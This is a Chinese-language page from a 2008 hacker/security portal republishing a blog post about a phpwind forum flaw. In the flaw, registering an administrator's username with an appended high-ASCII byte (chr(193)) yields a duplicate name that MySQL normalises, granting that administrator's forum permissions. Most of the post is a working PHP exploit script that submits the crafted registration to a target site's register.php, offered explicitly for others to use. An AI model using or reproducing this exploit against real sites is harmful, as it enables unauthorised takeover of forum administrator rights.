phpwind管理权限泄露漏洞利用程序PHP版 - 网安中国--最大的网络安全门户--黑客网门户

用户名: 密码: 验证码: 注册
由kiqiSEO提供网站优化技术支持 | 高级搜索 | 收藏本站 | 网站地图 | RSS订阅 |
网安中国搜索

您现在的位置:主页>文章>程序设计>

phpwind管理权限泄露漏洞利用程序PHP版

作者: 本站收集 ,  出处:本站收集
时间:2008-06-05

鬼仔:昨天发了phpwind管理权限泄露漏洞+利用程序,利用程序是python写的,很多朋友说不会用,今天看到yuehei同学的留言说他重写成PHP的了。

作者:yuehei
来源:yuehei 两点之间

一直订阅鬼仔的blog,今天发现PW又出漏洞
http://huaidan.org/archives/2036.html

漏洞原因是Mysql会舍弃没有用处的ASCII129-255,搜了资料也没有找到为什么,PW最大失误不是程序,而是没有把username设为唯一。

可以构造一个和某个管理人员名字一样的ID再加上一个无效的ASCII码进行注册,表中会出现二个一样的用户名,而forums.forumadmin字段里存的用户名,这样就可获得全部的前台权限。

使用PHP构造的测试代码。



Quote:
< ?php
if (empty($_GET['sub'])) {
print <<<EOT
<form action=”" method=”get”><br />
<input type=”text” name=”url” /><br />
<input type=”text” name=”regname” /><br />
<input type=”submit” name=”sub” value=”提交” />

EOT;
} else {
extract($_GET);
$regname .= chr(193);
$data = array(
‘regname’ => $regname,
‘regpwd’ => 147852,
‘regpwdrepeat’ => 147852,
‘regemail’ => ‘llll@Ll.com’,
‘regemailtoall’ => 1,
’step’ => 2
);

$url .= ‘/register.php’;
$includePath = ini_get(’include_path’);
$includePath .=’;D:\www\pear’;
ini_set(’include_path’, $includePath);
include(’HTTP/Client.php’);
$http = new HTTP_Client();
var_dump($http->post($url, $data));
}

最新评论

网友评论

用户名: 密码:  
广告服务 | 关于我们 | 招贤纳士 | 战略合作 | 联系我们 | 发展历程 | 友情链接 | 我要挑错
All Rights Reserved, Copyright 2008-2009, Safe86
申请备案中.... 如有意见请与我们联系 powered by 织梦内容管理系统